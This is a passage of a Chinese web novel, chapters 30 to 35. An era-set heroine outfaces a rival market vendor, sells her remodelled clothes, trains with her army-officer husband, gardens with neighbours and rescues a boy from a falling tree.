但看周柒柒那张笑盈盈的小脸蛋,又实在生不出气来,只好蹲在那儿挑起了发圈。 周柒柒做的发圈,除了各种碎花、蕾丝的,还有丝绒布的,充分考虑了各个年龄的顾客。 这种发圈样式新奇,要是放在百货大楼,高低也得卖一块钱呢。 两个大姐挑了两个酒红色丝绒的,喜滋滋地拎着袋子走了。 周柒柒正收拾东西,却听到一阵杀气十足的脚步声。 抬头一看,正是卓红霞。 她双手叉腰,墨镜歪在脸上,指了指不远处的朱莹莹,兴师问罪道。 “我就说,怎么好几波人都是看得好好的就不买了,原来是你们在捣鬼!” 第30章 全都卖光了~! 冉红霞在这一片出了名的泼辣,和不少摊主都红过脸、动过嘴,没一个人骂得过她的。 此刻她扯着嗓子的叫骂声一起,周围摊主们手中的活计都停了,齐刷刷将目光投向周柒柒的小摊。 匆匆赶路的行人也被这阵仗吸引,三三两两围拢过来。 周柒柒双手抱臂站在摊位前,嘴角噙着一抹似有若无的笑,眼尾微微上扬。 她腰板挺直,迎着冉红霞喷火的眼神,张嘴就是一串连珠炮。 “这位大姐,你得狂犬病了吧?见人就咬?” “说我捣鬼?我怎么捣鬼了?不就是站在那儿,跟路人聊天吗?这也叫捣鬼?!” “这叫师夷长技以制夷,顺便去其糟粕,取其精华...” 她顿了顿,声音陡然拔高。 “我又不像某人,为了赚点钱脸都不要了,恶意压价,胡乱造谣...” 她的声音清亮,笑容满面,但眼中却闪出一抹寒光,气势逼人,冉红霞不由自主地后退半步。 围观的人们指指点点,窃窃私语如潮水般涌来,淹没了冉红霞。 她气得脸色发白,指着周柒柒张口就骂,“说谁不要脸呢!你这个贱蹄子!” 周柒柒无辜地眨了眨眼睛,语气天真,“贱蹄子说谁?” “贱蹄子当然是说你了!” “哟,自己承认了?” 周柒柒冷笑一声,双臂交叉在胸前。 “知道自己是什么东西,就洗心革面,好好做人,好好做生意,正经卖货,别整天干那些损人利己的勾当!” 听着周围的嗤笑声,冉红霞这才反应过来,自己是中了周柒柒的圈套了,顿时恼羞成怒,张牙舞爪地扑了过去。 “小贱人,你敢骂我?!我撕烂你的嘴~!” 她比周柒柒壮了一大圈,看起来跟只母老虎似的。 但周柒柒却丝毫不惧,一手不慌不忙地举起马扎挡在面前,一手指了指百米外蓝白相间的建筑,朗声道。 “那边就是公安局,只要你敢动手,我马上就喊公安同志过来!这么多人看着呢,大家都可以给我作证,到时候你被抓进去,生意也别想做了!” 周柒柒找摊位的时候,就考虑过这个问题了,特意选了这个路口,就是因为那边有个公安局,但凡有事,可以立马求助警察叔叔。 此刻底气十足,声音都高了几分。 公安局门口的巡逻民警听到这里有动静,已经投来警惕的目光。 “你...!” 冉红霞伸到半空的手僵住了,脸上红一阵紫一阵。 骂人打架她在行,之前都不知道骂走过多少跟她抢生意的小贱人了。 哪个不是一看到她这架势,就吓得面如土色。 她还是第一次见到这种一点不怕她,气势比她还强的。 而且居然还拿公安当挡箭牌。 这年头,平头百姓谁不怕公安啊,就连她,也不敢和公安打交道。 她嘴巴嗫嚅着,不知如何应对,最终狠狠啐了一口:“你给我等着!” 说完灰溜溜地钻回自己摊位。 看她走了,周柒柒赶忙朝着不远处的莹莹招手。 她三步并作两步跑过去,双手扳过好友的肩膀上下打量。 “没事吧?有没有被欺负?” 虽然她卖货之余,也一直盯着那边的动静,但还是有些担心。 “放心!我照你说的,她一有动静,我就往电影院保安厅跑,她根本追不上!” 莹莹小脸涨得通红,眼中却闪烁着兴奋的光芒,显然还沉浸在刚才的刺激中。 “那就好。” 周柒柒长舒一口气,将小马扎递给莹莹,“快坐下歇歇。” 可莹莹却像吃了兴奋剂,蹦蹦跳跳地说。 “我不累!我现在就回去,继续把她的客人都抢过来!” “傻妞!这可不行!” 周柒柒赶忙拉住她,语气严肃。 她是不愿意吃亏的主儿,但做事却也知道分寸。 这种事情,做一次,当为回击,让对方知道自己不好惹,也就够了。 如果再去的话,就是有意挑衅了,冉红霞那么泼辣,指不定就会干出什么出格的事。 没必要再去激怒她。 “可是这样,咱们岂不是又没顾客了?” 莹莹有些担心,柒柒拍了拍她的肩膀。 “不会的,你放心好了,你就站这儿,咱们保准有生意。” 话音刚落,师范大学的下课铃和食品厂的下工铃先后响起。 不多时,成群结队的学生、工人从街道两旁涌来。 莹莹身材高挑,穿着周柒柒设计的独特蝙蝠衫,搭配喇叭牛仔裤,站在摊位前,就像一道亮丽的风景线。 再搭配上柒柒清脆甜美的叫卖声,很快吸引了大批顾客。 再加上她的衣服是独一份的设计,和别家的完全不同,价格也算公道。 不到半个小时,剩下的衣服就全都卖完了。 还有不少人想买呢,一听没了,都满脸的遗憾。 “没事,过两天,周三,不,周四吧,我还过来呢,老地方,你们有空过来!到时候我多备点货!兴许还有新花样呢!” 周柒柒笑着跟顾客们道别,眼底满是自信。 收摊后,周柒柒挽着莹莹的胳膊,笑容灿烂。 “莹莹,你今天也辛苦了,走,我请你吃大餐去!” 收摊后,她挽着莹莹走向公交站,路过冉红霞摊位时,那女人正阴沉着脸瞪她们。 周柒柒目不斜视,拎着瘪下去的蛇皮袋,昂首上了车。 冉红霞看着她满载而归,再看看自己冷清的摊位,脸涨得发紫,牙根咬得咯咯作响,把刚走近的两个女学生都给吓跑了。 到了国营饭店,柒柒找了个角落的位置,点了三道大菜。 两人大快朵颐,吃得满嘴流油。 吃饱喝足后,周柒柒警惕地环顾四周,见没人注意,才小心翼翼地掏出布包,细细数起钱来。 “九件蝙蝠衫,九条喇叭裤,一共两百零一块三毛钱!除去成本,净赚一百一十块三毛!” 周柒柒的手微微颤抖,这是她穿越以来,第一次靠自己的双手赚到这么多钱。 那一张张钞票,在她眼中比任何珠宝都珍贵,她反复摩挲着,嘴角的笑意怎么都压不住。 回过神来,她毫不犹豫地抽出一张十元大团结,塞给莹莹。 “今天多亏有你帮忙!” 莹莹却像被烫着了似的,连忙摆手。 “说什么呢!你要是跟我客气,那就是拿我当外人!” “这话听着这么耳熟,不是昨天我对你说的嘛?你这妮子,现学现卖是吧?” 周柒柒笑着戳了戳莹莹的额头,见她态度坚决,便不再强求。 闺蜜之间,不用计较那么多。 稍作休息,两人又马不停蹄地赶往批发市场。 大中午的,市场里冷冷清清,没什么顾客。 老板娘正趴在柜台上看电视,见周柒柒进来,心里“咯噔”一下,赶忙起身。 “姑娘,咱们这儿可不兴退货啊!” 第31章 家里进坏人了? 别看老板娘之前拉着周柒柒的手,说她保准能成事儿。 但心里却不是这么想的。 她在这行摸爬滚打这么多年,晓得地摊上那些过时的基础款最难出货,就算低价甩卖,没十天半月也难清仓。 这才第二天,见周柒柒第二天就又出现在档口。 她下意识就觉得,对方是来退货的,连招呼客人的笑都收了。 她太清楚,这行门道多,退货扯皮的事儿最麻烦。 虽说打心眼里喜欢这爽利姑娘,但她开门做生意,是来赚钱的,可不是来交朋友的。 周柒柒有些哭笑不得,晃了晃手里空瘪的蛇皮袋。 “老板娘,谁说我是来退货的?那批货我已经卖光了!我是来进货的!” “什么?” 老板娘一开始还不相信,但视线忽地瞥向周柒柒身边的朱莹莹,目光一下子就定住了。 那身衣服分明是自己档口里批出去的款式,可袖口收窄的设计、下摆错落的剪裁,还有蕾丝拼接...愣是像换了副模样。 她三步并作两步凑上前,指尖轻轻摩挲布料,眼底满是惊喜。 “你改的款?看不出来啊,年纪轻轻手艺这么绝!” 朱莹莹转着圈展示新衣服,老板娘看得挪不开眼,脱口而出道 “我也想要一身!” 话一说完,她却是有些犹豫,“你这手艺这么好,卖得不便宜吧?” 周柒柒摇了摇头。 “其实不算贵,这一身二十多块钱而已,不过...” 她微微一笑,一双好看的杏眼弯成月牙,嘴巴像是沾了蜜一样。 “我货都是从您这儿进的,哪能多收钱?您出衣服就成,我免费帮您改!” 虽然她是来做生意的,但也不耽误交朋友。 这话听得李萍心头一暖,做生意这么多年,还真没遇着这么敞亮的。 二十多块钱,在这个年代,是许多人半个月的工资。 但对老板娘来说,其实算不了什么。 但别人肯免费给你改,这可就不一样了。 这妹子有格局,她喜欢! 她也不矫情,直接大手一挥,指了指店里的货架。 “既然你都这么说了,那你挑款吧,以后你在我这儿进货,我都不和你掰扯了,直接按最低价给你!” “还有,别叫我老板娘了,叫我萍姐吧,我姓李,单名一个萍字!” “萍姐!” 周柒柒当即甜甜地叫了一声,这可给李萍叫美了,亲自帮着她一起选了款。 这一次,周柒柒先是把之前挑的那两款各自又拿了十件,然后又拿了十件衬衫和半身长裙。 算下来一共是一百七十块钱,比上次拿货还便宜了不少。 “这批是本地纺织厂的货,样式普通,平时要的人少,所以价格也压得很低。” 萍姐边打包边解释,“但料子扎实,正适合你改着卖。” 周柒柒自己就是学服装设计的,一摸就知道,这确实都是好货。 批完衣服,她又去隔壁布料店买了三十块钱的布,顺道添了点辅料,把这次赚的钱花得一点都不剩。 两人又特意去了一趟菜场,买了一大包干辣椒。 她挑的是最辣的那种,闻一下都感觉鼻子火辣辣的。 买完东西,两人没有选择去等采购车,而是到城边后,搭了一辆老乡的驴车回来了。 这老乡碰巧就是之前周柒柒来军区的时候,送他过来的那个。 这次又遇上了,知道她是军嫂,说什么也不肯收钱。 到家附近的时候,两人特意转了一圈,从朱莹莹家后门回去的。 邓翠香早上的提醒她都放在心上了,摆摊的事儿,还是不要让别人知道比较好。 到家的时候,差不多是三点多。 周柒柒撸起袖子就忙活起来。 先是把黄豆提前泡着,又顺带着把猪蹄拾掇了一下。 今天下午,她预备做一个黄豆炖猪蹄,再炒个豆芽炒肉,另外再搭配个青菜。 这几样都不算麻烦,汤先炖上,其他提前备好菜,等人回来了现炒就行。 泡黄豆的时候,她顺便把买的那一大包干辣椒也都泡了泡,这会儿泡得差不多了。 她准备自制辣椒水。 其实今天早上去摆摊,她没想着要和冉红霞正面发生冲突的,就想着在她眼皮子地下把摊支起来,稍微气一气对方,也算是报仇了。 毕竟她是去赚钱的,不是专门去和谁斗气的。 但没想到对方居然使用那么那样下作的手段。 当场她就决定以牙还牙。 做出这个决定的同时,她也想到,对方不是善茬,将来可能还会报复。 她得预备好自保的手段。 自制辣椒水,是她目前能想到,最好的方法了。 做起来也简单。 辣椒和生姜都切得碎碎的,一起煮半个小时,等辣椒素都释放出来,多过滤几遍,就可以装瓶了。 瓶子是顺手跟萍姐要的,空香水瓶子。 小小一瓶,可以装进挎包里,方便得很。 都做好之后,她瞥见墙角的板栗。 大婶是个实诚人,卖给他的,是山里采的野生小板栗,外壳油亮油亮的,看着就不错。 她打算做成糖炒栗子,当个小零嘴。 只是这年代没有烤箱,单纯用锅来炒的话,还没炒熟呢,锅底就先糊了。 想来想去,她忽然想到之前在王嫂子家看到她家的花圃周围围了一圈石英砂,说是在军属区不远处的小溪旁边捡的。 看时间才五点,她立马背上包,拿了个塑料袋出发,很快就找到了王嫂子说的小溪,捡了满满一大袋子回来。 刚到门口,心里却是“咯噔”一下。 她明明记得走之前锁了门的,但是现在家门居然是敞开的! 上辈子她独居的时候,就遇到过这种事情。 一个男人喝多了,趁她出门的时候,撬了锁,跑到她家里洗澡,还偷了她的内衣,当时可给她吓得心里都有阴影了。 这会儿那层阴影又迅速笼罩在她心尖,她没多想,下意识就觉得,家里进了歹人了! 她浑身发冷,手不自觉摸向挎包,脚步放轻,小心翼翼地靠近门口。 院里忽然传出来一阵急促的脚步声。 阴影里,一个高大的身躯席卷而来。 周柒柒屏住呼吸,听准脚步声,在黑影露出头的瞬间,按下了喷头! 第32章 谁拿捏谁啊? 辛辣的雾气在狭小的空间炸开。 周柒柒早屏住呼吸,膝盖猛地抬起,用尽全身力气踹向黑影。 预想中的碰撞没有发生,那人反应极快,侧身从墙角的缝隙闪出来。 她收势不及,脚下突然一崴,整个人不受控制地往后栽倒。 慌乱间,一双带着薄茧的手臂稳稳捞住她。 熟悉的肥皂味混着淡淡的硝烟味扑面而来,周柒柒抬眼,正对上沈淮川冷冽的目光。 他额前的碎发被汗水浸湿,迷彩服上还沾着斑驳的泥点,显然刚从训练场回来。 “没伤到吧?” 他的声音带着不易察觉的沙哑,手掌托着她的后腰,迟迟没有松开。 周柒柒双腿还在发软,整个人瘫在沈淮川怀里,足足一分钟才喘匀气。 想起刚才的惊险,她攥起拳头狠狠捶了下他的胸口。 “怎么是你啊?差点把我吓死!” “对不起。” 沈淮川几乎没有迟疑,立刻道歉,喉结不安地滚动了一下。 周柒柒这会儿已经冷静下来了。 她环顾四周,意识到这里可是部队家属院,外人根本进不来。 是她过往的经历,让她有些过度紧张了。 她有些不好意思地揉了揉刚才捶打的地方,嗔怪道。 “你有错吗,你就道歉?” 话音未落,她突然想起什么,仰起头紧张地问。 “辣椒水没喷到你?眼睛疼不疼?” 她身上的香味还留在怀里,沈淮川下意识抬手想去抓她的手腕,半途又缩了回去,生硬地摇了摇头。 他眸子一片清明,确实不像被辣椒水喷到的样子。 “一点儿都没有吗?我明明对准了的!难道这玩意儿不管用吗?” 周柒柒狐疑地凑近瓶子轻按,辛辣的雾气瞬间呛得她剧烈咳嗽,眼泪簌簌往下掉。 “危险!” 沈淮川眼疾手快夺过瓶子,转身就要往丢掉。 周柒柒慌忙拦住他,“别扔,这是我特意做的!” “做这个干什么?” 沈淮川眉头紧皱,眼神里满是担忧。 周柒柒正准备回答,一歪头,瞧见隔壁小院的门开了个小缝,里头有只眼睛滴溜溜在转,跟蛤蟆似的。 赶紧拽着沈淮川回了家。 两人在沙发上坐下,周柒柒把和冉红霞的矛盾一五一十地说了出来。 这事儿她没打算瞒着,既然结了婚,这种事情还是得分享给另外一半的,她长嘴了。 沈淮川背靠沙发,指节捏得发白,脸色阴沉得可怕,周身仿佛结了一层冰。 “明天起别去了,我在军属区给你找一份工作。” 他的语气不容置疑,带着常年身居高位的威严,像一道冰冷的命令,压得人喘不过气。 周柒柒这下总算知道,为什么别人都说沈淮川是军区活阎王了。 面对这种威压,一般人还真的很难对他说不。 但周柒柒不一样,她的目光始终坚定,语气也格外认真。 “这是我喜欢的事业,我想去。” “太危险,不行。” 沈淮川冷硬地吐出几个字,眼神里没有丝毫商量的余地。 周柒柒才不怕他,软磨硬泡行不通,那就来软的! 她暗中掐了自己一把,瞬间疼得眼泪汪汪,小脑袋凑到她跟前,委屈巴巴的,声音都带着哭腔。 “你不是说了,都随我吗?” 沈淮川的眼神明显动摇了一下,原本冷硬的表情有了裂痕,但仍强撑着保持镇定。 “这次不一样。” 见有机可乘,周柒柒得寸进尺,指尖一下下戳着他的胸膛。 “怎么不一样了?我觉得都一样啊,你说呢?老公~~~” 每说一个字,她身体就更靠近一点。 随着尾音拉长,整个人几乎贴了上去。 沈淮川的耳尖以肉眼可见的速度变红,整张脸涨得通红。 他慌乱地别开脸,结结巴巴地说。 “行...随你。” 说完,像被火烧了屁股似的,匆忙逃离了客厅。 搞定!完全拿捏! 周柒柒得意地比出胜利手势,正偷笑着,却听沈淮川的声音从门口传来。 “不过...我有个小条件,你必须答应。” 她满不在乎地摆摆手,语气豪迈。 “什么条件?尽管说吧!我全都答应!” 此刻大获全胜的她,根本没把所谓“小条件”放在眼里。 然而,她很快就后悔自己曾经说出这句话了。 一个多小时后,军属区外围的跑道上,周柒柒气喘吁吁地停下脚步,双腿像灌了铅一样沉重。 看着前方沈淮川笔挺的背影,她欲哭无泪—— 这个男人所谓的小条件,居然是带她跑步锻炼,还要学习防身术! 她天生就不爱运动,再加上给这副身体常年营养不良,才跑了两百米,她就有点坚持不下去了,眼前发黑,双腿发软。 她泪眼汪汪地看向沈淮川,试图故技重施。 “老公...我实在跑不动了,能不能不跑了?” “不行。” 这一次,沈淮川是格外强硬,直接从口袋里拿出两团棉花,往耳朵里一塞,一副油盐不进的样子。 “你...” 周柒柒无奈地叹了口气,拖着沉重的双腿继续跑起来。 没办法,谁让自己当初答应得那么痛快呢! 她现在有点怀疑,这个男人是故意的! 明明是她拿捏他,怎么现在,是她在这儿受苦呢? 不对劲,十分不对劲! 这一跑就是一个多小时,紧接着又是半个小时的力量训练,合起来整整两个小时。 等结束时,周柒柒只觉得浑身的骨头都要散架了。 到第二天早上,还腰酸背痛的。 早餐都没顾得上做,还是沈淮川去食堂打回来的油条、豆腐脑。 舟舟没吃多少就去上学了。 周柒柒因为太累了,也没什么胃口,只能勉强喝点羊奶。 上辈子她给家里小猫冲羊奶粉的时候,自己也尝过,实在是喝不惯。 还以为这玩意儿不好喝呢。 但现在每天早上都喝鲜奶,真是越喝越上头。 对比之前,感觉之前喝的X牛、X利什么的,都跟水一样。 正喝着呢,就听到门口传来一阵敲门声。 她扶着腰慢慢挪到门口。 在外头站了半天的邓翠香和王嫂子盯着她扶腰的姿势。 对视一眼,脸上露出暧昧的笑。 “柒柒,你昨天不还好好的吗,怎么一晚上就成这样了?” 邓翠香凑近了些,语气带着调侃,“是不是沈淮川欺负你了?” 周柒柒小嘴一撇,眼眶立刻泛起委屈的泪花。 “是啊嫂子,你是不知道,他太过分了,不管我怎么求饶都没用!” 邓翠香和王嫂子对视一眼,两人都被她“大胆”的发言吓了一跳,捂着嘴,眼神里满是八卦。 “沈团长平时看着冷面冷心的,没想到折腾起媳妇来这么狠?这是折腾了你多久啊?” 周柒柒伸出两根手指—— 第33章 这事儿不能那么多人 周柒柒扶着腰,纤长的手指在两位嫂子眼前晃了晃。 王嫂子脱口而出,“两分钟?” 邓翠香猛地转过身,满脸疑惑,“咋可能才两分钟?” “咋不可能,等你男人过了三十五你们就知道了...” 王嫂子小声嘀咕着,不自觉摇了摇头。 邓翠香没听见,还在那儿自顾自地猜着,“那肯定二十分钟啊!不不不,估计还不止...” “不,你们都猜错了!” 周柒柒瘫坐在沙发上,神情哀怨。 “不是二分钟,也不是二十分钟,而是两个小时,整整两个小时!我的天,你们不知道我是怎么熬过来的!” “关键还不是一天两天,每天都要这样...” 这话一出,两个嫂子惊讶得不得了。 尤其是邓翠香,惊讶得都不行了,咽了咽口水。 “乖乖,怪不得咱们集团军每年的综合考核,沈团长都是全能第一呢!这体能!绝了!” 她突然凑近,促狭地笑着说,“柒柒,你可太享福了!” “享福?这分明是遭罪!” 周柒柒小嘴一撇,满脸不乐意。 “翠香姐,你要这么喜欢,明天你陪我一起!” 邓翠香瞳孔猛地一缩,咬着嘴唇扭捏起来,连忙摆手。 “这...这不行啊!这绝对不行!这事儿不能那么多人!” “这有啥不行的?” 柒柒满一脸茫然。 “咱军属区外头那个跑道那么宽,别说咱们两个人了,就是七八个人并排跑步,也没什么问题啊!” “跑步?!原来你说的是跑步?” 邓翠香愣了愣,随即反应过来,捂嘴笑得直不起腰。 “我就说嘛,那事儿怎么可能折腾两个多小时,还天天来,这牛再能干,地也受不了啊!” 周柒柒迷糊了半天,才反应过来她们说的是那回事儿。 再想想刚才自己说的那几句话,顿时囧得满脸通红,恨不得找个地缝钻进去。 结结巴巴道:“嫂子,你......别说了!” 别看她性格爽利,可是两辈子都还没经历过那种事儿呢。 王嫂子看她这幅样子,赶忙解围道。 “行了,翠香,柒柒这才刚结婚,脸皮薄,你就别逗她了,赶紧把东西拿出来!” 这两个人今天过来,是来给她送东西的。 之前说好要一起给周柒柒送菜籽和花籽什么的,第二天王嫂子小女儿生了重病,去医院治了好几天,昨天才回来。 “孩子没事吧?” 柒柒赶忙关切地问。 王嫂子叹了口气。 “哎...本来只是小腿上有个小伤口,我寻思着咱们卫生所没医生,去市里太麻烦,自己给孩子上了点药,没想到感染了,起了好大一个脓包,送过去医生说是啥蜂窝组织炎,切开上了好几天的药才治好。” 邓翠香也是刚知道这事儿,不由拍了拍大腿。 “咱们这军属区卫生所,就许医生一个大夫,人家怀孕生娃,就没人给看病了,耽误多少事儿!” 王嫂子无奈地摇了摇头。 “没办法,谁让咱们这儿地方偏,没前途呢!不过应该快了,我在医院听那些小姑娘说,今年这批新医生实习到这个月底,下个月就分配了!到时候就方便了!” “希望到时候分过来一个和许医生一样认真负责的好大夫吧!” 两人感慨了几句,看周柒柒插不上话,王嫂子赶忙转移了话题。 “行了不说这个了,柒柒,你瞧瞧这些,你喜欢不?” 说着,王嫂子将手中装满花枝的篮子递了过来。 篮中花枝五颜六色,满满当当。 周柒柒眼睛一亮,笑容瞬间绽放,“太喜欢了!” 之前柒柒拉着王嫂子家一起盖厕所,省了不少钱,而且生活一下子方便多了。 王嫂子念着这份恩,特意把自己院子里适合扦插的花都剪了点过来。 连翘、海棠、紫菀,什么都有。 不适合扦插,但这个季节可以播种的三色堇、金盏菊,也都给她拿了花籽。 “趁着今天有空,我顺便帮你一起种了。” “还有我,还有我~!” 邓翠香也不甘示弱,她拿来了一大袋子刷碗用的老丝瓜,顺便还带来了几株葡萄苗。 另外,还有林主任媳妇托她送给柒柒的菜籽。 这些东西对周柒柒来说,都是急需之物。 家属区离城里差不多一个小时车程,来回就是两小时,还得卡着采购车的时间,太不方便了。 王嫂子一边挥着锄头,一边笑道。 “没事,你这批菜籽种下去,下个月就能收菜,到时候就不用跑去城里买菜了!” “哦,还有,你平时要是想买点肉、鸡蛋啥的,可以去东边那个镇子,那边有个小集市,以前是黑市来着,现在政策放开了,没人查了,可以放心买,走路的话三十分钟就到了,比去城里方便多了。” “还有,想吃鱼,可以去西边那个村子,那边的村主任承包了好几个鱼塘...” “还有...” 三个人聚在柒柒家的后院,一边干活,一边有说有笑地聊天。 这些事儿,要是两位嫂子提起,柒柒还真不知道。 “嫂子们,你们真好!” 柒柒挥舞着锄头,扶着腰,小脑袋轻轻点着,一双眼睛亮晶晶的,模样可爱极了。 王嫂子和邓翠香越看越喜欢,看她干活费力,从她手里夺过锄头。 “算了算了,你这小身板,本来就干不了多少活,还腰疼!就别干了!” “就是!这点活儿,我俩帮你一起干了!你坐一边歇着就成!” 之前盖厕所的时候,她和嫂子们闲聊说想要菜籽花籽,沈淮川就把院子里前前后后的地,全都整了一遍。 这会儿只需要做畦挖沟,把菜籽撒进去就成,工作量并不大。 至于花枝,王嫂子是专业的,早就准备好了河沙和泥炭土。 按照周柒柒的规划想法,把河沙和泥炭土撒上去,把花枝地栽上去就成。 这对于两位嫂子来说,简直是小菜一碟。 两人一起干得热火朝天的,周柒柒也没真在一边歇着。 她拿出昨天捡的石英砂,煮沸消毒后,炒了一大锅的糖炒栗子。 另外又拿了个小锅,加了砂糖炒成微焦的焦糖,然后加上红茶一起炒香之后,把早上没喝完的小半桶羊奶一起加进去,煮得微微冒泡。 倒进杯子里,就是三杯不正宗但好喝的焦糖奶茶。 两个嫂子还从来没喝过这玩意儿呢,一入口,眼睛全都亮了起来。 “柒柒,你做的这什么玩意儿啊,真好喝!” 周柒柒给她们一人剥了一颗栗子。 “还有这个,糖炒栗子,配着一起吃!” 粉糯绵密的栗子配着奶茶,惬意的王嫂子眯起了眼睛。 “太舒服了!这比之前在周主任家喝的那叫啥咖啡的好喝多了!” “可不,那咖啡比我命都苦!还是奶茶好喝!” 邓翠香不住地点头赞同,顺着话茬又八卦了起来。 “说到周主任,她侄子昨天搬到咱们家属区了,你们见过没?小伙子叫雷鸣,长得那叫一个周正,唇红齿白的!” 第34章 是你??? “翠香,你儿子都八岁了,还惦记人家帅小伙呢?羞不羞?” 王嫂子快四十的人了,出身孔孟之乡,思想传统得很,嘴角挂着三分打趣。 邓翠香就不一样了,她才二十七八岁,山城人,骨子里就带着山城妹子的泼辣劲儿,抬手把鬓角碎发往后一撩。 “这又什么好羞的,我又不偷,光惦记惦记,偷摸瞧几眼还不行了?” “难道就许大街上男人盯着漂亮女孩看?不许我们女人过眼瘾?” 王嫂子被噎得哭笑不得,转头冲柒柒努努嘴。 “得,我说不过你,柒柒,你来说说她。” 她还记着先前那茬儿,想着柒柒脸皮薄,准能帮她说话。 谁知柒柒眨眨眼,认真点头,“我感觉翠香姐说得有道理。” “好啊你俩,这心思歪到一块去了!” 王嫂子笑骂着,眼角皱纹都弯成月牙了。 又说笑了几句,两人惦记着给孩子做饭,急急忙忙要走。 周柒柒早拿了两个袋子,往里头塞糖炒栗子。 两人见状直摆手,毕竟这次本就是来“还礼”的,哪能再拿东西? 柒柒却硬往她们怀里塞,“给孩子的,又不是给你们的。” 这话一出,两人对视一眼,终究没再推辞——当妈的人,最听不得这话。 送走两人,周柒柒揉着发酸的腰进了厨房。 她这还腰疼着呢,早上又忙活了那么久,可不舍得累着自己了。 只简单做了个榨菜肉丝面。 说是简单,但面条是手擀面,搭配着爽脆的榨菜,炒得嫩嫩的肉丝,味道却是一点儿也不差。 舟舟低头扒拉一小碗,也没说话,只是轻轻舔了舔嘴角,眼神还黏在碗里。 周柒柒敏锐地观察到了,知道她早上没吃多少,又给她盛了一小碗,肉丝夹得满满的。 “做得多,不吃都浪费了。” 小姑娘眼睛瞪得圆圆的,睫毛忽闪忽闪,像是从得过这种待遇似的。 周柒柒看得有点心酸。 怪不得这孩子这么瘦呢,合着给多少就吃多少,饿了也不说。 这沈淮川没当过爸爸,还没当过孩子吗,怎么能这么带孩子? 等他回来,一定要好好批评批评他! 不过,等了一中午,都没等到沈淮川回来,估计是部队里有什么事给耽搁了。 军人这种职业不比普通工作,随时都要待命。 嫁给军人,就得习惯这种事情,周柒柒一开始也没当回事。 下午舟舟去上学,她往孩子书包塞了一兜糖炒栗子,转身坐到缝纫机前准备开始工作。 邓翠香今早塞给她的旧蝙蝠衫和喇叭裤还搁在一旁。 柒柒熟练地踩起缝纫机,十分钟就改好了版型。 然后就开始忙活着昨天进的那批新货。 她先是画了一个小时写写画画,完成了设计稿。 对于这种改造类的时装,她不打算卖得太贵,所以设计上,也不会搞得太过复杂。 蝙蝠衫和喇叭裤就沿用之前的设计。 至于新进的衬衫和半身裙,她仔细想了想之前学过的华国服装史,设计了个这年代的人们可以接受的新潮样式。 衬衫领口和下摆都改成法式的花瓣样式,加上微泡泡袖,扣子也加上同色的包边。 半身裙,在已有的收腰大裙摆下面,裁去一截,拼接上不规则的法式双层蕾丝边。 这样,就组成了一套法式小套装。 定价的话,分别是十二和十五,买一套的话便宜两块钱,再送一个自制的法式宽边缎面发箍。 她上辈子除了去饭店打工,自己也去夜市摆过摊,在做小生意这方面,还是有一点小心得的。 除了改造之外,她还另外给自己画了两身设计图。 她之前也逛过百货商场了,里面的衣服,说实话,她有点看不上,还是自己设计的更合口味。 缝纫机的哒哒声里,周柒柒异常专注,不知道过去了多久。 等到想上厕所,揉着酸涩的肩膀推开房门,才发现外头漆黑一片。 她还以为自己和上次一样,忙得忘了时间,又忙到六点多了。 急急忙忙跑到客厅去看挂钟,还好没过时间,才五点! 舟舟还有半个小时才放学呢。 就是这天,怎么忽然就那么黑了? 正纳闷呢,天边炸开一道惊雷,豆大的雨点噼里啪啦砸下来。 今天早上起来天色就有点阴,但是到了中午也没下,柒柒没在意,所以也没给舟舟拿雨伞。 眼看着这雨遮天蔽日,伴随着大风,而且还有越下越大的趋势。 她来不及多想,赶紧拿上雨伞,套上雨披去学校。 军区孩子们上的海子湾小学,就在军区不远处的空地上。 除了军属区的孩子,周边村镇的孩子也在这里上学。 校门口挤满了接孩子的家长,吵嚷声混着雨声,乱成一锅粥。 教室里,孩子们像小猴子似的满屋子乱窜,老师扯着嗓子也管不住。 唯有舟舟安安静静坐在窗边,握着画笔在纸上涂涂画画。 柒柒敲了敲玻璃窗,“舟舟,咱们回家!” 小姑娘抬眼,漆黑的眸子里闪过一丝波澜,乖巧地点头收拾东西。 眼看着雨越下越急,柒柒给舟舟裹紧雨衣,牵着她冰凉的小手往家走。 路上到处是撒欢乱跑的孩子,她们左躲右闪,还是被个横冲直撞的小胖子撞得踉跄。 那小胖子撞了她们,连声道歉都不说,又冲着不远处的斜坡跑过去了。 “这倒霉孩子,一点教养都没有!” 周柒柒撑着膝盖起身,不满地朝着小胖子站着的方向瞪了一眼。 这不看还没事儿,一看,瞬间吓了一跳。 斜坡上有的一棵老枯树,这会儿被狂风吹得连根拔起,摇摇欲坠—— 而倾倒的方向,正是小胖子圆滚滚的后脑勺! 周柒柒来不及多想,嘱咐舟舟站在原地,赶紧拼尽全力冲了过去,高喊着:“闪开~!” 话音刚落,就听扑通一声,大树已经倒下来了! 好在千钧一发的时刻,她张开双臂,将小胖子扑倒在地。 但她也知道,这大树要砸她了! 可她没想到的是,几乎就在同一时刻,另一道身影从斜侧方扑来。 虽然慢了半拍,却生生用脊背替她扛住了最沉重的一击! “你没事吧?” 柒柒顾不上自己擦伤的膝盖,慌忙去扶人。 男人疼得脸色发白,听见她声音却忽然笑了,眉梢眼角全是意外的惊喜。 “是你?” 第35章 周柒柒这女人不检点 “真的是你?” 眼前的男人,年龄大约二十岁,眉眼生得清秀,笑起来时眼角微微弯起,眸子亮晶晶的,嘴角还有一颗小酒窝。 他直直地盯着她,目光灼灼,一瞬也不肯移开。 周柒柒愣住了。 男人似乎很开心“再次”见到她。 但她可以百分之一百确定,自己从来没见过他。 毕竟这种只比沈淮川帅气程度低那么一丢丢的帅哥,要是见过的话,她肯定不会不记得的! “小杰~你在哪儿呢?小杰?” 这时,远处传来一声焦急的呼喊。 怀中的小胖子“哇”的一声大哭起来,扭动着身子从周柒柒怀里挣脱,朝着声音的方向跑去。 小胖子力气出奇地大,周柒柒被他拽得一个踉跄,险些又跌进泥地里。 幸好身边的小帅哥及时扶住了她。 两人四目相对,靠得极近,近的周柒柒能感受到男人滚烫的呼吸和激动的颤抖。 她下意识地迅速挣脱他的怀抱,开口道。 “谢谢你救了我,你...” 话还没说完,眼角余光却瞥见几辆自行车正跌跌撞撞地朝着舟舟站着的方向骑过去。 她顾不上这边,赶忙过去牵着舟舟往旁边躲。 雨下得太大,等她回过头在往那边瞧的时候,刚才救人的男人已经不见了。 看来只能下次遇见的时候,再感谢了。 她也没再多停留,拉着舟舟赶紧回家。 而不远处,男人还在往这边不停地张望,眼神急切地搜寻着周柒柒的身影。 但却被一个穿着细格纹的确良衬衫的中年女人拽着,离得越来越远,直至走到一辆吉普车旁。 